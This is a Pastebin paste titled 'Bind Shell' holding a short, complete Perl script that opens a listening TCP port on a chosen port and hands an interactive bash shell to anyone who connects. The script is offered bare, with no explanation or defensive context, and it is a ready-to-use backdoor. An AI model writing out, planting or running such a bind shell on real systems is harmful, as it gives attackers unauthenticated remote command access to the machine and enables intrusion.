PrianganSec

Bind Shell

Mar 28th, 2020
646
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.67 KB | None | 0 0
  1. #!/usr/bin/perl
  2. $SHELL="/bin/bash -i";
  3. if (@ARGV < 1) { exit(1); }
  4. $LISTEN_PORT=$ARGV[0];
  5. use Socket;
  6. $protocol=getprotobyname('tcp');
  7. socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
  8. setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
  9. bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
  10. listen(S,3) || die "Cant listen port\n";
  11. while(1)
  12. {
  13.     accept(CONN,S);
  14.     if(!($pid=fork))
  15.     {
  16.         die "Cannot fork" if (!defined $pid);
  17.         open STDIN,"<&CONN";
  18.         open STDOUT,">&CONN";
  19.         open STDERR,">&CONN";
  20.         exec $SHELL || die print CONN "Cant execute $SHELL\n";
  21.         close CONN;
  22.         exit 0;
  23.     }
  24. }
Add Comment
Please, Sign In to add comment